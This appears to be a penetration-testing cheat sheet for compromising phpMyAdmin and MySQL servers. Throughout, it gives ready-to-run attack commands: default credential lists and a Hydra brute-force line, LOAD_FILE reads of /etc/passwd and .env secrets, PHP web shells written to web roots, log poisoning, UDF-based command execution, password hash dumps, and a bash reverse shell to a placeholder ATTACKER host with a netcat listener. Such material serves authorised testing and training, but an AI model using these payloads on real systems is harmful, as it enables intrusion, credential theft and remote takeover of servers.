Skip to main content

​
Service Detection

Common paths: 
/phpmyadmin
/phpMyAdmin
/pma
/dbadmin
/mysql
/admin
/sql

​
Default Credentials

root:<blank>
root:root
root:toor
admin:admin
mysql:mysql
pma:pma
Hydra: 
hydra -L users.txt -P passwords.txt TARGET http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^:Cannot log in"

​
Version Enumeration

The bottom of the login page usually leaks the version: 
phpMyAdmin 4.8.1
Search exploits: 
searchsploit phpmyadmin 4.8

​
Read Files (LFI via MySQL)

Works if MySQL has FILE privilege. 
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/win.ini');
SELECT LOAD_FILE('/var/www/html/config.php');
Dump credentials: 
SELECT LOAD_FILE('/var/www/html/.env');

​
Write Web Shell (Linux)

Check web root: 
SHOW VARIABLES LIKE "secure_file_priv";
If empty → writable anywhere 
SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php';
Access: 
http://TARGET/shell.php?cmd=id

​
Write Web Shell (Windows)

SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"f\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\"></FORM><pre><?php system($_GET['cmd']); ?></pre></BODY></HTML>"
INTO OUTFILE 'C:\\xampp\\htdocs\\cmd.php';

​
Bypass secure_file_priv

Find writable directories: 
SHOW VARIABLES LIKE 'datadir';
Write inside MySQL folder: 
SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/lib/mysql/shell.php';
Then include via LFI from web app.

​
Upload Web Shell via Log Poisoning

Write PHP into logs: 
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/log.php';
SELECT "<?php system($_GET['cmd']); ?>";

​
Command Execution via UDF (MySQL RCE)

Check privileges: 
SELECT user, file_priv, super_priv FROM mysql.user;
If FILE + SUPER → full RCE Upload malicious UDF: 
searchsploit mysql udf
Then: 
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

​
Dump Password Hashes

SELECT user,host,authentication_string FROM mysql.user;
Old MySQL: 
SELECT user,password FROM mysql.user;

​
Extract Application Credentials

SHOW DATABASES;
USE wordpress;
SHOW TABLES;
SELECT * FROM wp_users;

​
Reverse Shell

SELECT "<?php system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"'); ?>"
INTO OUTFILE '/var/www/html/rev.php';
Listener: 
nc -lvnp 4444